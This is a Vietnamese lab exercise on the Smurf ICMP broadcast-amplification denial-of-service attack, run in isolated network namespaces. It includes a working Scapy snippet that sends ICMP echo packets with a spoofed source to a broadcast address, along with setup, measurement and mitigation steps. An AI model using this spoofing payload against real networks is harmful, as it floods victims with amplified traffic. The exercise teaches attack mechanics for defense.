BÀI THỰC HÀNH 04

Kỹ thuật tấn công Smurf Attack

Smurf Attack — ICMP Broadcast Amplification DoS

Thời lượng	90 phút
Mức độ	Cơ bản–Trung bình
Môi trường	1 VM Kali Linux · ip netns + bridge (5 host ảo)
Công cụ	Scapy, tcpdump

⚠ Bài thực hành chỉ được thực hiện trong môi trường phòng lab cô lập (máy ảo + network namespace trên chính máy của bạn). Mọi kỹ thuật ở đây thuộc nhóm tấn công mạng; việc áp dụng lên hệ thống/mạng không thuộc quyền sở hữu hoặc không được cho phép bằng văn bản là VI PHẠM PHÁP LUẬT (Luật An ninh mạng 2018 — Luật số 24/2018/QH14, và Bộ luật Hình sự). Mục tiêu học tập là hiểu cơ chế để phòng thủ (defensive security).

Mục tiêu bài học

- Hiểu cơ chế **khuếch đại** (amplification) của Smurf: 1 gói ICMP echo gửi tới địa chỉ broadcast → nhiều host phản hồi về nạn nhân.
- Thấy vai trò của **giả mạo địa chỉ nguồn** (spoof = IP nạn nhân).
- Tái tạo điều kiện bằng `icmp_echo_ignore_broadcasts=0`, đo hệ số khuếch đại, rồi bật phòng thủ.

Kiến thức nền tối thiểu

- Smurf gửi ICMP echo request tới **địa chỉ broadcast** của mạng, với nguồn **giả mạo là nạn nhân**.
- Mọi host sống trong mạng đều trả lời về nạn nhân ⇒lưu lượng nhân lên theo số host (khuếch đại).
- Phòng thủ: host bỏ qua ping broadcast (`icmp_echo_ignore_broadcasts=1`, mặc định) và router không chuyển tiếp directed broadcast (RFC 2644).

1. Chuẩn bị môi trường

▸ setup_lan.sh — tạo 5 host trên cùng LAN, chạy: sudo bash setup_lan.sh

```
#!/bin/bash
# setup_lan.sh - LAN 10.0.0.0/24 dung cau bridge, nhieu host trong 1 may
set -e
ip link add br0 type bridge
ip link set br0 up
add_host() {            # $1 = ten ns, $2 = dia chi IP
  ns=$1; ipaddr=$2
  ip netns add $ns
  ip link add ${ns}0 type veth peer name ${ns}-br
  ip link set ${ns}-br master br0
  ip link set ${ns}-br up
  ip link set ${ns}0 netns $ns
  ip netns exec $ns ip addr add ${ipaddr}/24 dev ${ns}0
  ip netns exec $ns ip link set ${ns}0 up
  ip netns exec $ns ip link set lo up
}
add_host atk  10.0.0.100      # attacker
add_host vic  10.0.0.200      # victim (nan nhan)
add_host amp1 10.0.0.11       # cac may "khuech dai"
```

```
add_host amp2 10.0.0.12
add_host amp3 10.0.0.13
echo "[+] LAN 10.0.0.0/24 (broadcast 10.0.0.255) san sang"
```

Tái tạo điều kiện dễ bị tấn công: cho các máy khuếch đại **trả lời ping broadcast**:

```
for h in amp1 amp2 amp3; do
  ip netns exec $h sysctl -w net.ipv4.icmp_echo_ignore_broadcasts=0
done
```

2. Các bước thực hành

Bước 2.1 — Mở quan sát tại nạn nhân

▸ Terminal victim — giữ chạy

```
ip netns exec vic tcpdump -i vic0 -nn icmp
```

Bước 2.2 — Phát động Smurf từ attacker

Gửi ICMP echo tới broadcast 10.0.0.255, **giả mạo nguồn = nạn nhân (10.0.0.200)**:

▸ Terminal attacker

```
ip netns exec atk python3 - <<'EOF'
from scapy.all import *
send(IP(src="10.0.0.200", dst="10.0.0.255")/ICMP(), count=10, verbose=0)
print("Da gui 10 goi ICMP echo toi broadcast, nguon gia mao = victim")
EOF
```

✓**Kết quả mong đợi:** Tại nạn nhân, mỗi gói broadcast tạo ra nhiều echo-reply đến từ amp1, amp2, amp3 (3 máy ⇒hệ số khuếch đại ×3). 10 gói gửi đi sinh ~30 gói dội về nạn nhân, dù attacker chưa từng gửi gói nào tới nạn nhân.

Bước 2.3 — Đo hệ số khuếch đại

```
ip netns exec vic timeout 5 tcpdump -i vic0 -nn icmp 2>/dev/null | wc -l
```

Bước 2.4 — Bật phòng thủ và so sánh

```
for h in amp1 amp2 amp3; do
  ip netns exec $h sysctl -w net.ipv4.icmp_echo_ignore_broadcasts=1
done
# Chay lai Buoc 2.2 -> nan nhan khong con nhan duoc reply
```

✓**Kết quả mong đợi:** Khi các máy bỏ qua ping broadcast (mặc định của hệ thống hiện đại), tấn công Smurf không còn khuếch đại được — không còn gói dội về nạn nhân.

Phòng chống (Mitigation)

- `net.ipv4.icmp_echo_ignore_broadcasts = 1` trên mọi host (mặc định Linux hiện đại).
- Router không chuyển tiếp directed broadcast (`no ip directed-broadcast`) — RFC 2644 / BCP 34.
- Lọc nguồn giả mạo theo BCP 38 tại biên để chống bước spoofing.
- Giám sát & giới hạn tốc độ (rate-limit) ICMP; dùng dịch vụ chống DDoS cho hệ thống công khai.

Câu hỏi ôn tập

1. Hệ số khuếch đại của Smurf phụ thuộc yếu tố nào? Trong lab, nếu thêm 10 máy khuếch đại thì lưu lượng dội về nạn nhân thay đổi ra sao?
2. Vì sao bước giả mạo địa chỉ nguồn là bắt buộc? Điều gì xảy ra nếu không giả mạo?
3. So sánh vai trò của hai biện pháp: bỏ qua ping broadcast (ở host) và chặn directed broadcast (ở router).
4. Smurf thuộc nhóm tấn công nào (theo mục tiêu)? Nêu một biến thể dùng UDP tương tự.

Tài liệu tham khảo

- CERT Advisory CA-1998-01 — Smurf IP Denial-of-Service Attacks.
- RFC 2644 (BCP 34) — Changing the Default for Directed Broadcasts.
- RFC 2827 (BCP 38) — Network Ingress Filtering.